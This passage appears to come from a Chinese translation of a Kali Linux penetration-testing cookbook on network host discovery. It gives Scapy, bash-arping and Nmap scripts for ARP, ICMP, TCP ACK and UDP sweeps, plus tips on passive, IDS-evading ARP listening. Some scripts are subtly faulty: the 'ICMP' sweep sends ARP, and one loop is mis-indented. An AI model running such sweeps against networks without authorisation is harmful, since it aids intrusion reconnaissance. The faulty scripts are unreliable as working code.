1. 此外，还可以轻松地将脚本的输出重定向到文本文件中，然后用于后续分析。可以使用大于号（>）后跟文本文件名来重定向输出。以下是一个示例：

1. 一旦输出被重定向到输出文件（output.txt），你可以使用ls命令验证该文件是否已写入文件系统，或者使用cat命令查看文件的内容。该脚本也可以很容易地修改，仅对文本文件中包含的某些 IP 地址执行 ARP 请求。为此，我们首先需要创建一个我们希望扫描的 IP 地址列表。你可以使用 GNU nano 或 Vim 文本编辑器。为了评估脚本的功能，包含一些之前发现的活动地址，以及同一范围内随机选择的其他地址，这些地址不对应任何活动主机。要在 Vim 或 GNU nano 中创建输入文件，可以使用以下命令之一：

1. 一旦创建了输入文件（iplist.txt），你可以使用cat命令验证其内容。如果文件正确创建，你应该看到你在文本编辑器中输入的相同 IP 地址列表：

1. 要创建一个接受文本文件作为输入的脚本，我们可以修改前一个练习中的现有脚本，或创建一个新的脚本文件。为了在脚本中使用这份 IP 地址列表，我们需要在 Python 中执行一些文件操作。一个可行的脚本示例如下所示：

        #!/usr/bin/python

        import logging
        logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
        from scapy.all import *

        if len(sys.argv) != 2:
         print "Usage - ./arp_disc.py [filename]"
         print "Example - ./arp_disc.py iplist.txt"
         print "Example will perform an ARP scan of 
           the IP addresses  listed in iplist.txt"
         sys.exit()

        filename = str(sys.argv[1])
        file = open(filename,'r')

        for addr in file:
         answer = sr1(ARP(pdst=addr.strip()),timeout=1,verbose=0)
         if answer == None:
             pass
         else:
             print addr.strip()

1. 这个脚本与之前用于循环遍历序列的脚本之间唯一的区别，是创建了一个名为file的变量，而不是interface。然后使用open()函数打开与脚本位于同一目录中的iplist.txt文件来创建一个对象。r值也传递给该函数，以指定对文件的只读访问。for循环遍历文件中列出的每个 IP 地址，并输出对广播 ARP 请求做出响应的 IP 地址。此脚本可以按照前面讨论的相同方式执行：

1. 如果脚本在没有任何参数的情况下执行，使用方法将输出到屏幕。该输出提示此脚本需要一个参数，该参数定义了要扫描的 IP 地址输入列表。在以下示例中，脚本使用执行目录中的iplist.txt文件执行：

1. 执行后，脚本将只输出输入文件中存在并且对 ARP 请求流量有响应的 IP 地址。每个地址都表示局域网中活跃的系统。如前所述，脚本的输出可以轻松地通过大于符号重定向到文件，并指定输出文件的名称：

1. 一旦输出被重定向到输出文件，你可以使用 ls 命令来验证文件是否已写入文件系统，或者你可以使用 cat 命令来查看文件的内容。

第三层发现 - ICMP

为了使用 Scapy 发送 ICMP 回显请求，我们需要开始堆叠层以发送请求。堆叠数据包时的一个好规则是沿着 OSI 模型的层次结构进行操作。你可以通过使用斜杠分隔每一层来堆叠多个层。为了生成 ICMP 回显请求，需要将 IP 层与 ICMP 请求层堆叠在一起：

1. 要开始，使用 scapy 命令打开 Scapy 交互式控制台，然后将 IP 对象分配给一个变量：

1. 在提供的示例中，display() 函数用于查看对象属性在分配给 ip 变量后默认的配置。默认情况下，IP 对象被配置为使用回环 IP 地址 127.0.0.1 进行发送和接收。要更改 Scapy 中对象的任何属性，你需要将 [object].[attribute] 设置为所需的值。在这种情况下，我们希望将目标 IP 地址更改为我们希望发送 ICMP 请求的系统的地址，具体操作如以下命令所示：

1. 在将新值分配给目标地址属性后，可以通过再次调用 display() 函数来验证更改。请注意，当目标 IP 地址值更改为任何其他值时，源地址也会自动从回环地址更新为与默认接口关联的 IP 地址。现在，IP 对象的属性已经适当修改，我们需要在我们的数据包堆栈中创建第二层。接下来要添加到堆栈的层是 ICMP 层，我们将把它分配给一个单独的变量：

1. 在提供的示例中，ICMP 对象被初始化为 ping 变量名。然后，可以调用 display() 函数来显示 ICMP 属性的默认配置。要执行 ICMP 回显请求，默认配置已足够。现在，两个层已经正确配置，它们可以堆叠起来准备发送。在 Scapy 中，可以通过使用斜杠分隔每一层来堆叠层。请看以下命令：

1. 一旦堆叠的层被分配给变量，display() 函数将显示整个堆栈。以这种方式堆叠层的过程通常被称为数据报封装。现在，层已经堆叠完毕，请求已经准备好通过网络发送。这可以通过 Scapy 中的 sr1() 函数完成：

1. 在提供的示例中，sr1()函数被分配给ping_reply变量。这将执行该函数，并将结果传递给该变量。在收到回应后，display()函数被应用于ping_reply变量，以查看响应的内容。请注意，该数据包是从我们发送初始请求的主机发送的，目标地址是我们 Kali 系统的 IP 地址。另外，请注意，响应的 ICMP 类型是回显应答。根据这个示例，使用 Scapy 发送和接收 ICMP 似乎是功能正常的，但如果你尝试用一个没有响应的目标地址进行相同的操作，你会很快发现问题：

1. 示例输出被截断，但这个输出会持续不断，直到你通过Ctrl + C强制中断。如果没有向函数提供超时值，sr1()函数将继续监听，直到收到响应。如果主机未启动或 IP 地址未与任何主机关联，将不会发送响应，函数也不会退出。为了在脚本中有效使用此函数，应该定义一个超时值：

1. 通过将超时值作为第二个参数传递给sr1()函数，若在指定的秒数内未收到响应，过程将退出。在提供的示例中，sr1()函数用于向一个没有响应的地址发送 ICMP 请求，1 秒后退出，因为没有收到回应。在目前提供的示例中，我们已经将函数分配给变量，创建了可以持久化并可操作的对象。然而，这些函数不一定要分配给变量，也可以通过直接调用函数来生成：

1. 在这里提供的示例中，之前通过四个独立命令完成的所有工作实际上可以通过直接调用函数来通过单个命令完成。请注意，如果向一个在超时值指定的时间内没有回复的 IP 地址发送 ICMP 请求，调用该对象将会导致异常。由于没有收到回应，本示例中设置为响应的答案变量从未被初始化：

1. 这些不同的响应知识可以用来生成一个脚本，该脚本会依次对多个 IP 地址执行 ICMP 请求。脚本将循环通过目标 IP 地址中最后一个八位字节的所有可能值，并为每个值发送一个 ICMP 请求。每次返回sr1()函数时，都会评估响应以确定是否收到回显响应：

        #!/usr/bin/python

        import logging
        logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
        from scapy.all import *

        if len(sys.argv) != 2:
         print "Usage - ./pinger.py [/24 network address]"
         print "Example - ./pinger.py 172.16.36.0"
         print "Example will perform an ICMP scan of
           the 172.16.36.0/24 range"
         sys.exit()

        address = str(sys.argv[1])
        prefix = address.split('.')[0] + '.' + address.split('.')[1]
          + '.' +address.split('.')[2] + '.'

        for addr in range(1,254):
         answer=sr1(ARP(pdst=prefix+str(addr)),timeout=1,verbose=0)
         if answer == None:
             pass
         else:
             print prefix+str(addr)

• 脚本的第一行指示了 Python 解释器的位置，以便可以在不将其传递给解释器的情况下执行脚本。然后，脚本导入所有 Scapy 函数，并定义 Scapy 日志级别，以消除脚本中不必要的输出。

• 第二块代码是一个条件测试，用于评估是否已为脚本提供所需的参数。如果在执行时没有提供所需的参数，脚本将输出适当脚本使用的说明。该说明包括工具的使用方法、一个示例以及通过此示例将执行的任务的解释。

• 在此块代码之后，提供的值将分配给address变量。然后使用该值提取网络前缀。例如，如果address变量包含192.168.11.0字符串，则192.168.11的值将被分配给prefix变量。

• 最后一块代码是一个for循环，用于执行实际的扫描。for循环会遍历0到254之间的所有值，并且对于每次迭代，值会附加到网络前缀上。在前面提供的示例中，ICMP 回显请求将发送到192.168.11.0到192.168.11.254之间的每个 IP 地址。对于每个有响应的活动主机，相应的 IP 地址将打印到屏幕上，以指示该主机在局域网中处于活动状态。

1. 一旦脚本被写入本地目录，你可以使用一个点和正斜杠，在终端中执行该脚本，后跟可执行脚本的名称：

1. 如果脚本在没有任何参数的情况下执行，使用方法将输出到屏幕上。该使用说明表明此脚本需要一个参数，用于定义要扫描的/24网络。在提供的示例中，脚本使用172.16.36.0网络地址执行。然后，脚本输出/24网络范围内的活动 IP 地址列表。此输出还可以通过大于号后跟输出文件名来重定向到输出文本文件中。以下是一个示例：

1. 然后可以使用ls命令来验证输出文件是否已写入文件系统，或者使用cat命令查看其内容。此脚本也可以修改为接受一系列 IP 地址作为输入。为此，for循环必须更改为循环读取指定文本文件中的行。以下是一个示例：

        #!/usr/bin/python

        import logging
        logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
        from scapy.all import *

        if len(sys.argv) != 2:
         print "Usage - ./pinger.py [filename]"
         print "Example - ./pinger.py iplist.txt"
         print "Example will perform an ICMP ping scan
           of the IP addresses listed in iplist.txt"
         sys.exit()

        filename = str(sys.argv[1])
        file = open(filename,'r')

        for addr in file:
         ans=sr1(IP(dst=addr.strip())/ICMP(),timeout=1,verbose=0)
         if ans == None:
           pass
         else:
            print addr.strip()

1. 与之前的脚本相比，唯一的主要区别是此脚本接受一个输入filename作为参数，然后循环扫描此文件中列出的每个 IP 地址。与另一个脚本类似，最终的输出将包括一个简单的 IP 地址列表，列出那些对 ICMP 回显请求做出响应的系统的 IP 地址：

1. 此脚本的输出可以像这样重定向到输出文件。执行脚本时，输入文件作为参数提供，然后通过大于符号和输出文本文件的名称重定向输出。以下是一个示例：

第 4 层发现 - TCP 和 UDP

要验证从活跃主机收到 RST 响应，我们可以使用 Scapy 发送一个 TCP ACK 数据包到已知的活跃主机。在提供的示例中，ACK 数据包将被发送到 TCP 目标端口80。该端口通常用于运行 HTTP Web 服务。演示中使用的主机目前在此端口上运行 Apache 服务。

1. 为此，我们需要构建请求的每一层。首先要构建的层是 IP 层。请看以下命令：

1. 在这里，我们将i变量初始化为IP对象，然后重新配置标准配置，将目标地址设置为我们目标服务器的 IP 地址。请注意，当目标地址提供了除回环地址以外的任何 IP 地址时，源 IP 地址会自动更新。接下来，我们需要构建的层是 TCP 层。可以在以下命令中看到：

1. 在这里，我们将t变量初始化为TCP对象。请注意，对象的默认配置已经将目标端口设置为 HTTP 或端口80。在这里，我们只需要将 TCP 标志从 SYN（S）更改为 ACK（A）。现在，可以通过用正斜杠分隔每一层来构建堆栈，具体见以下命令：

1. 在这里，我们将整个请求堆栈设置为请求变量。现在，可以通过发送和接收函数将请求发送到网络中，然后评估响应以确定目标地址的状态：

1. 请注意，远程系统响应了一个 TCP 数据包，并且设置了 RST 标志。这由分配给flags属性的R值表示。请求堆栈的整个过程以及发送和接收响应，可以通过直接调用函数将其压缩为单个命令：

1. 现在，我们已经确定了与发送到活跃主机开放端口的 ACK 数据包相关的响应，接下来让我们尝试向活跃系统的关闭端口发送类似的请求，并确定响应中是否有任何变化：

1. 在这个请求中，目标 TCP 端口从默认端口80更改为端口1111（一个没有服务运行的端口）。请注意，从开放端口和关闭端口返回的响应是相同的。无论扫描端口上是否有服务在运行，活跃的系统都会返回一个 RST 响应。此外，还应注意，如果类似的扫描发送到与活跃系统无关的 IP 地址，则不会返回任何响应。可以通过将请求中的目标 IP 地址修改为与网络上实际系统无关的地址来验证这一点：

1. 因此，回顾一下，我们发现无论端口状态如何，发送到任何端口的 ACK 数据包都会返回一个 RST 数据包，但如果没有活跃主机与该 IP 地址关联，则不会收到响应。这是一个好消息，因为它意味着我们可以通过只与每个系统的单个端口进行交互，在大量系统上执行发现扫描。结合使用 Scapy 和 Python，我们可以快速循环遍历/24网络范围内的所有地址，并仅向每个系统的一个 TCP 端口发送一个 ACK 数据包。通过评估每个主机返回的响应，我们可以轻松输出一个活跃 IP 地址列表：

        #!/usr/bin/python

        import logging
        logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
        from scapy.all import *

        if len(sys.argv) != 2:
         print "Usage - ./ACK_Ping.py [/24 network address]"
         print "Example - ./ACK_Ping.py 172.16.36.0"
         print "Example will perform a TCP ACK ping scan
           of the 172.16.36.0/24 range"
         sys.exit()

        address = str(sys.argv[1])
        prefix = address.split('.')[0] + '.' + address.split('.')[1]
         + '.' + address.split('.')[2] + '.'

        for addr in range(1,254):
        response = sr1(IP(dst=prefix+str(addr))/
        TCP(dport=80,flags='A'),timeout=1,verbose=0)
         try:
             if int(response[TCP].flags) == 4:
                 print "172.16.36."+str(addr)
         except:
             pass

1. 提供的示例脚本相对简单。在循环遍历 IP 地址最后一个八位字节的所有可能值时，ACK 数据包被发送到 TCP 端口80，并评估响应以确定响应中 TCP 标志的整数值是否为4（与单独的 RST 标志相关的值）。如果数据包有 RST 标志，脚本将输出返回响应的系统的 IP 地址。如果没有收到响应，则 Python 无法测试响应变量的值，因为没有为其分配任何值。因此，如果没有返回响应，将发生异常。如果返回异常，脚本将继续运行。最终输出是一个活跃目标 IP 地址的列表。可以使用一个句点和斜杠，然后是可执行脚本的名称来执行此脚本：

1. 可以使用类似的发现方法，通过 UDP 协议执行第 4 层的发现。为了确定我们是否能够使用 UDP 协议发现主机，我们需要确定如何触发任何活跃主机的响应，无论系统是否在 UDP 端口上运行服务。为了尝试这个方法，我们将首先在 Scapy 中构建请求栈：

1. 请注意，UDP 对象的默认源端口和目标端口是 DNS。这是一个常用的服务，可以用于将域名解析为 IP 地址。按原样发送请求对于判断 IP 地址是否与活动主机相关联几乎没有帮助。发送此请求的示例如下所示：

1. 尽管与目标 IP 地址相关联的主机是活动的，但我们没有收到任何响应。具有讽刺意味的是，没有响应的原因实际上是目标系统上正在使用 DNS 服务。尽管你可能会自然地认为，相反的做法有时可以通过探测那些没有运行服务的 UDP 端口来更有效地识别主机，前提是 ICMP 流量没有被防火墙阻止。这是因为，活动的服务通常配置为仅响应包含特定内容的请求。现在，我们将尝试向一个未使用的不同 UDP 端口发送相同的请求：

1. 通过将请求的目标端口更改为123并重新发送，我们现在收到的响应表明目标端口不可达。如果你检查此响应的源 IP 地址，你会看到它是从原始请求发送到的主机发送的。这一响应确认了原始目标 IP 地址上的主机是活动的。不幸的是，在这些情况下，响应并不总是会返回。此技术的有效性很大程度上取决于你正在探测的系统及其配置。正因如此，UDP 发现通常比 TCP 发现更难执行。它永远不像简单地发送一个带有单个标志的 TCP 数据包那么容易。如果确实存在服务，通常需要特定服务的探测。

幸运的是，有多种相当复杂的 UDP 扫描工具，可以使用一系列的 UDP 请求和特定服务探测来判断某个活动主机是否与给定的 IP 地址相关联。

它是如何工作的……

在 Scapy 中，通过使用sr1()（发送/接收一个）函数，可以进行 ARP 第 2 层发现。该函数注入一个由提供的参数定义的数据包，然后等待接收单个响应。在这种情况下，会广播一个 ARP 请求，函数将返回响应。Scapy 库使得将此技术轻松集成到脚本中，并能够测试多个系统。

这里使用 Scapy 进行了 ICMP 第 3 层发现，通过构造一个包含 IP 层和附加 ICMP 请求的请求来实现。IP 层允许数据包被路由到本地网络之外，而 ICMP 请求则用来从远程系统获取响应。使用这种技术在 Python 脚本中，可以按顺序执行此任务，以扫描多个系统或整个网络范围。

Scapy 使用 TCP 和 UDP 第四层发现方法，构建自定义请求，通过每个协议识别存活的主机。在 TCP 的情况下，构建并发送自定义 ACK 数据包到每个目标系统的任意端口。如果收到 RST 回复，则系统被识别为存活。或者，向任意端口发送空的 UDP 请求，试图引发 ICMP 端口不可达响应。通过响应来判断系统是否存活。这些技术中的每一种都可以在 Python 脚本中使用，用于对多个主机或地址范围执行发现。

使用 Nmap 执行主机发现（第二、三、四层）

网络映射器（Nmap）是 Kali Linux 中最有效和最具功能性的工具之一。Nmap 可用于执行多种不同的扫描技术，并且高度可定制。本书中将频繁提到这个工具。在本节中，我们将讨论如何使用 Nmap 执行 ARP 的第二层扫描、ICMP 的第三层扫描，以及利用 TCP/UDP 的第四层扫描。

准备工作

若要使用 Nmap 执行 ARP 发现，你需要在局域网上至少有一台系统能够响应 ARP 请求。在所提供的示例中，使用了 Linux 和 Windows 系统的组合。关于在本地实验室环境中设置系统的更多信息，请参考第一章《入门》中的安装 Metasploitable2和安装 Windows Server的配方。

使用 Nmap 执行第三层和第四层发现不需要实验室环境，因为互联网上许多系统都会回复 ICMP 回显请求，以及 TCP 和 UDP 流量。然而，强烈建议你仅在自己的实验室环境中进行任何类型的网络扫描，除非你对所受管辖的法律规定非常熟悉。如果你希望在实验室中执行该技术，你至少需要有一个系统能够响应 ICMP、TCP 和 UDP 请求。在所提供的示例中，使用了 Linux 和 Windows 系统的组合。关于在本地实验室环境中设置系统的更多信息，请参考第一章《入门》中的安装 Metasploitable2和安装 Windows Server的配方。此外，本节将需要编写脚本到文件系统中，可以使用如 Vim 或 GNU nano 的文本编辑器进行编写。关于编写脚本的更多信息，请参考第一章《入门》中的使用文本编辑器（VIM 和 GNU nano）配方。

操作步骤…

如同前面的方法，我们将逐层进行。在这一层，我们将使用 Nmap 执行第二、三、四层的发现。

第二层发现 - ARP

Nmap 是执行自动化第二层发现扫描的另一种选择，只需一个命令即可完成。Nmap 将-sn选项称为 ping 扫描。尽管ping 扫描这个术语自然让你认为是在进行第三层发现，但它实际上是自适应的：

1. 假设指定的是同一局域网子网中的地址作为参数，可以使用以下命令执行第二层扫描：

1. 此命令将向局域网广播地址发送 ARP 请求，并根据接收到的响应判断主机是否存活。或者，如果命令用于扫描不活跃的主机的 IP 地址，响应将指示该主机已关闭：

1. 可以修改此命令，通过破折号表示法对一系列 IP 地址进行第二层发现扫描。要扫描完整的/24地址范围，可以使用0-255：

1. 使用此命令将会向该范围内的所有主机广播 ARP 请求，并确定每个积极响应的主机。此扫描也可以通过输入 IP 地址列表来执行，使用-iL选项：

1. 当使用-sn选项时，Nmap 会首先尝试通过第二层 ARP 请求来定位主机，如果主机未在局域网内找到，才会使用第三层 ICMP 请求。注意，针对本地网络（172.16.36.0/24私有地址范围）的 Nmap ping 扫描会返回 MAC 地址，这是因为 MAC 地址是通过 ARP 响应从主机处返回的。然而，如果相同的 Nmap ping 扫描针对远程网络上的主机进行，响应中将不会包含系统的 MAC 地址：

1. 当针对远程网络范围（公用地址范围74.125.21.0/24）执行时，可以看到使用了第三层发现，因为没有返回 MAC 地址。这表明，当可能时，Nmap 会自动利用第二层发现的速度，但在必要时，它会使用可路由的 ICMP 请求来发现第三层上的远程主机。如果你在进行 Nmap ping 扫描时使用 Wireshark 监控流量，也可以看到这一点，尤其是当扫描本地网络上的主机时。

2. 在以下截图中，你可以看到 Nmap 利用 ARP 请求识别本地段上的主机：

第三层发现 - ICMP

Nmap 是一个自适应工具，会根据需要自动调整并使用第二层、第三层或第四层发现技术。如果在 Nmap 中使用-sn选项扫描本地网络段上不存在的 IP 地址，将使用 ICMP 回显请求来确定主机是否存活并响应。

1. 要执行单个目标的 ICMP 扫描，使用带有-sn选项的 Nmap，并将要扫描的 IP 地址作为参数传递：

1. 此命令的输出将指示设备是否在线，并提供有关执行的扫描的详细信息。另外，请注意也识别了系统名称。Nmap 还执行 DNS 解析以在扫描输出中提供此信息。它还可以用来扫描顺序范围内的 IP 地址，使用破折号表示法。Nmap 默认是多线程的，并行运行多个进程。因此，Nmap 在返回扫描结果方面非常快速。请看以下命令：

1. 在提供的示例中，Nmap 用于扫描整个/24网络范围。为了方便查看，该命令的输出被截断了。通过使用 Wireshark 分析通过接口传递的流量，您可能会注意到地址并未按顺序扫描。这可以在以下截图中看到。这进一步证明了 Nmap 的多线程特性，并说明了如何从队列中启动地址作为其他进程完成：

1. 或者，Nmap 也可以用来扫描输入文本文件中的 IP 地址。可以使用-iL选项，后跟文件名或文件路径来实现：

1. 在提供的示例中，执行目录中存在一个包含六个 IP 地址的列表。然后将此列表输入到 Nmap 中，并尝试识别列出的每个地址的活动主机：

第四层发现 - TCP 和 UDP

Nmap 中有用于同时发现 TCP 和 UDP 主机的选项。Nmap 的 UDP 发现已经配置使用唯一的负载以触发来自响应速度较慢的端口服务的回复：

1. 要执行 UDP 发现扫描，请与要测试的端口一起使用-PU选项：

1. 同样，也可以配置 Nmap UDP ping 请求到由输入列表定义的一系列 IP 地址。在这里，我们将使用同一目录中的iplist.txt文件来扫描列出的每个主机：

1. 虽然这些示例中的每一个输出都表明发现了六台主机，但这并不一定表示这六台主机都是通过 UDP 发现方法发现的。除了对 UDP 端口53进行探测外，Nmap 还将利用任何其他发现技术来发现指定范围或输入列表中的主机。尽管-sn选项有效地防止 Nmap 执行 TCP 端口扫描，但它并不能完全隔离我们的 UDP ping 请求。

2. 虽然没有有效的方法来单独隔离这个任务，但你可以通过在 Wireshark 或 TCPdump 中分析流量来确定哪些主机是通过 UDP 请求发现的。或者，Nmap 也可以像我们在 Scapy 中讨论的那样执行 TCP ACK ping。要使用 ACK 数据包识别存活主机，请结合使用-PA选项和你想使用的端口：

1. TCP ACK ping 发现方法也可以使用短横符号表示的主机范围进行操作，或者可以基于输入列表在指定的主机地址上执行：

它是如何工作的…

Nmap 通过向一系列 IP 地址的广播地址发送 ARP 请求来执行第 2 层扫描，并通过标记响应来识别存活主机。然而，由于此功能已集成到 Nmap 中，因此只需提供适当的参数即可执行。

Nmap 通过向提供的 IP 地址范围或文本文件中的每个 IP 地址发送 ICMP 回显请求来执行第 3 层扫描。由于 Nmap 是一个多线程工具，多个请求会并行发送，结果会迅速返回给用户。由于 Nmap 的发现功能具有适应性，它只有在 ARP 发现无法有效定位本地子网中的主机时，才会使用 ICMP 发现。或者，如果 ARP 发现和 ICMP 发现都无法有效识别给定 IP 地址上的存活主机，则将采用第 4 层发现技术。

Nmap 通过向目标系统的任意端口发送一系列 TCP ACK 数据包来执行第 4 层扫描，并尝试获取 RST 响应，作为系统存活的指示。然而，Nmap 用于执行 UDP 发现的技术与我们在 Scapy 中讨论的技术略有不同。Nmap 不仅仅依赖于 ICMP 主机不可达响应（这些响应可能不一致或被阻塞），还通过向目标端口发送特定服务的请求，尝试获取响应来执行主机发现。

使用 ARPing 执行主机发现（第 2 层）

ARPing 是一个命令行网络工具，功能类似于常用的ping工具。通过提供 IP 地址作为参数，该工具可以判断给定 IP 是否为本地网络上的存活主机。本文将讨论如何使用 ARPing 扫描网络中的存活主机。

准备工作

要使用 ARPing 执行 ARP 发现，你需要确保局域网中至少有一台系统能够响应 ARP 请求。在提供的示例中，使用了 Linux 和 Windows 系统的组合。有关如何在本地实验环境中设置系统的更多信息，请参阅 第一章中的 安装 Metasploitable2 和 安装 Windows Server 相关内容，入门 部分。此外，本节还需要编写一个脚本到文件系统中，可以使用 Vim 或 GNU nano 等文本编辑器进行编辑。有关编写脚本的更多信息，请参阅 第一章中的 使用文本编辑器（Vim 和 GNU nano） 相关内容，入门 部分。

如何操作…

ARPing 是一种工具，可以用来发送 ARP 请求，并识别主机是否存活并响应：

1. 该工具的使用方法是简单地将 IP 地址作为参数传递给它：

1. 在提供的示例中，发送了一个 ARP 请求到广播地址，请求 172.16.36.135 IP 地址的物理位置。正如输出所示，主机 00:0C:29:3D:84:32 的 MAC 地址收到了一条单一的回复。若使用 bash 脚本同时对多个主机执行该操作，则此工具在进行第二层发现扫描时能更有效地使用。为了测试 bash 中每个实例的响应，我们应该确定一个唯一的字符串，该字符串出现在响应中，表明存在活动主机，而当没有收到响应时，则不包含该字符串。

2. 为了识别一个唯一的字符串，应该向一个没有响应的 IP 地址发送 ARPing 请求：

1. 通过分析成功和失败的 ARPing 响应，可以注意到，只有在与提供的 IP 地址相关联的主机存在时，字符串中的唯一字节才会出现在响应中，并且该字节也会出现在包含 IP 地址的行内。通过对该响应进行 grep 操作，我们可以提取每个响应主机的 IP 地址：

1. 在对实际主机 IP 地址执行 ARPing 时，使用 grep 查找该唯一字符串会返回一行，其中包含该 IP 地址，如前面一组命令中的第一次响应所示。当对一个没有实际主机关联的 IP 地址执行相同的操作时，则不会返回任何内容，如前面一组命令中的最后一次响应所示。通过使用 cut 命令，并指定特定的分隔符（-d）和字段（-f）值，我们可以快速从该字符串中提取 IP 地址。命令行功能 cut 可以在 bash 中用来基于指定的分隔符将一行分隔成数组，然后可以通过指定字段返回特定值。通过多次管道操作输出，我们可以轻松地从返回的字符串中提取 MAC 地址。请查看以下命令集：

1. 我们只需通过操作分隔符和传递给cut函数的字段值，就可以轻松从返回的字符串中提取 IP 地址：

1. 在识别出如何从正面 ARPing 响应中提取 IP 地址后，我们可以轻松地通过循环将此任务传递给 bash 脚本，并输出活动 IP 地址的列表。使用此技术的脚本示例如下：

        #!/bin/bash

        if [ "$#" -ne 1 ]; then
        echo "Usage - ./arping.sh [interface]"
        echo "Example - ./arping.sh eth0"
        echo "Example will perform an ARP scan of the 
          local subnet to which eth0 is assigned"
        exit
        fi

        interface=$1
        prefix=$(ifconfig $interface | grep 'inet ' 
        | awk '{ print $2 }'| cut -d ':' -f 2 | cut -d '.' -f 1-3)

        for addr in {1..254}; do
        arping -c 1 $prefix.$addr | grep "bytes from" 
        | cut -d " " -f 5 | cut -d "(" -f 2 | cut -d ")" -f 1 &
        done

• 在提供的 bash 脚本中，第一行定义了 bash 解释器的位置。随后的代码块执行了一个测试，以确定是否提供了预期的参数。通过评估提供的参数数量是否不等于1来进行此判断。如果未提供预期的参数，则输出脚本的使用方式，并且脚本退出。使用方式的输出指示脚本期望本地接口名称作为参数。

• 下一个代码块将提供的参数分配给interface变量。然后，interface值被传递给ifconfig，并使用该输出提取网络前缀。例如，如果提供的接口的 IP 地址是192.168.11.4，则前缀变量将被分配为192.168.11。接着，使用for循环遍历最后一个八位字节的值，生成本地/24网络中的每个可能 IP 地址。对于每个可能的 IP 地址，都会发出一个arping命令。然后，将每个请求的响应传递过来，并使用grep提取包含bytes from短语的行。如前所述，这将仅提取包含活动主机 IP 地址的行。

• 最后，使用一系列cut函数从该输出中提取 IP 地址。

1. 注意，在for循环任务的末尾使用了与分号不同的&符号。该符号允许任务并行执行，而不是顺序执行。这大大减少了扫描 IP 范围所需的时间。请看以下一组命令：

1. 你可以轻松地将脚本的输出重定向到一个文本文件，供后续分析使用。输出可以通过大于号进行重定向，后面跟着文本文件的名称。这里可以看到一个示例：

1. 一旦输出被重定向到输出文件中，你可以使用ls命令验证该文件是否已写入文件系统，或者可以使用cat命令查看文件内容。这个脚本也可以修改为从输入文件读取，并仅验证该文件中列出的主机是否存活。对于以下脚本，你需要一个包含 IP 地址列表的输入文件。为此，我们可以使用上一个脚本中讨论的 Scapy 脚本所用的相同输入文件：

        #!/bin/bash

        if [ "$#" -ne 1 ]; then
        echo "Usage - ./arping.sh [input file]"
        echo "Example - ./arping.sh iplist.txt"
        echo "Example will perform an ARP scan of all IP addresses
         defined in iplist.txt"
        exit
        fi

        file=$1

        for addr in $(cat $file); do
        arping -c 1 $addr | grep "bytes from" 
        | cut -d " " -f 5 | cut -d "(" -f 2 | cut -d ")" -f 1 &
        done

1. 这个脚本与前一个脚本的主要区别在于，它不再提供接口名称，而是在执行脚本时提供输入列表的文件名。这个参数会传递给 file 变量。然后使用 for 循环遍历文件中的每个值以执行 ARPing 任务。要执行脚本，使用一个句点和正斜杠，后面跟上可执行脚本的名称：

1. 如果执行脚本时没有提供任何参数，则会返回脚本的使用说明。这些使用说明表明应将输入文件作为参数提供。当完成此操作后，脚本将执行，并返回输入的 IP 地址列表中的活动 IP 地址。像前面讨论的那样，脚本的输出可以很容易地重定向到一个输出文件中，使用大于符号。以下是一个示例：

1. 一旦输出被重定向到输出文件，您可以使用 ls 命令验证文件是否已写入文件系统，或者使用 cat 命令查看文件的内容。

它是如何工作的……

ARPing 是一个旨在验证单个主机是否在线的工具。然而，它简单易用，使得在 bash 中操作它扫描多个主机变得非常容易。这是通过循环一系列 IP 地址实现的，然后将这些地址作为参数传递给该工具。

使用 netdiscover 执行主机发现（第二层）

netdiscover 工具用于通过主动和被动的 ARP 分析来识别网络主机。它最初是为无线接口编写的，但在交换环境中也可以使用。在本食谱中，我们将讨论如何使用 netdiscover 进行主动和被动扫描。

准备工作

要使用 netdiscover 执行 ARP 发现，您需要至少有一个系统在局域网中能够响应 ARP 请求。在提供的示例中，使用了 Linux 和 Windows 系统的组合。有关在本地实验环境中设置系统的更多信息，请参阅 第一章中的 安装 Metasploitable2 和 安装 Windows Server 相关内容，入门。

如何操作……

一个专门设计用于执行第二层发现的工具是 netdiscover。

1. netdiscover 命令可以通过传递 CIDR 表示法的网络范围作为参数，同时使用 -r 选项，扫描一系列 IP 地址。

1. 输出将生成一个表格，列出活动 IP 地址、相应的 MAC 地址、响应次数、响应长度以及 MAC 供应商：

1. netdiscover命令也可以用来扫描来自输入文本文件的 IP 地址。与其将 CIDR 范围表示法作为参数传递，不如使用-l选项，配合输入文件的名称或路径：

运行命令后，我们可以在终端窗口中看到显示的结果：

1. 这个工具与其他工具的一个独特之处在于它能够执行被动发现。对整个子网中的每个 IP 地址广播 ARP 请求有时会触发安全设备（如入侵检测系统（IDS）或入侵防御系统（IPS））的警报或响应。一个更加隐蔽的方法是监听 ARP 流量，因为扫描系统会自然地与网络中的其他系统交互，然后记录从 ARP 响应中收集的数据。这种被动扫描技术可以使用-p选项执行：

1. 这种技术在收集信息时会明显更慢，因为请求必须通过正常的网络交互来获得，但它也不太可能引起任何不必要的注意。如果在无线网络上运行，这种技术会更为有效，因为混杂模式的无线适配器会接收到其他设备的 ARP 回复。

2. 为了在交换环境中有效工作，你需要访问 SPAN 或 TAP，或者需要超载 CAM 表以迫使交换机开始广播所有流量。

它是如何工作的…

使用 netdiscover 进行 ARP 发现的基本原理与我们之前讨论的第 2 层发现方法本质相同。这种工具与我们讨论过的一些其他工具的主要区别包括被动发现模式和输出中包含 MAC 厂商信息。在大多数情况下，被动模式在交换网络中没有用，因为接收 ARP 响应仍然需要与发现的客户端进行某些交互，尽管这些交互与 netdiscover 工具无关。然而，理解这个功能及其在广播网络（如集线器或无线网络）中的潜在用途仍然很重要。netdiscover 工具通过评估返回的 MAC 地址的前半部分（前三个八位组/24位）来识别 MAC 厂商。这部分地址标识了网络接口的制造商，通常能很好地指示设备的硬件制造商。

使用 Metasploit 进行主机发现（第 2 层）

Metasploit 主要是一种漏洞利用工具，接下来的章节将详细讨论其功能。然而，除了其主要功能外，Metasploit 还拥有许多辅助模块，可以用于各种扫描和信息收集任务。特别有一个辅助模块，可以在本地子网上执行 ARP 扫描。这对于许多人来说非常有用，因为 Metasploit 是大多数渗透测试人员熟悉的工具，将此功能集成到 Metasploit 中，可以减少在测试过程中所需的工具数量。本教程将演示如何使用 Metasploit 执行 ARP 发现。

准备工作

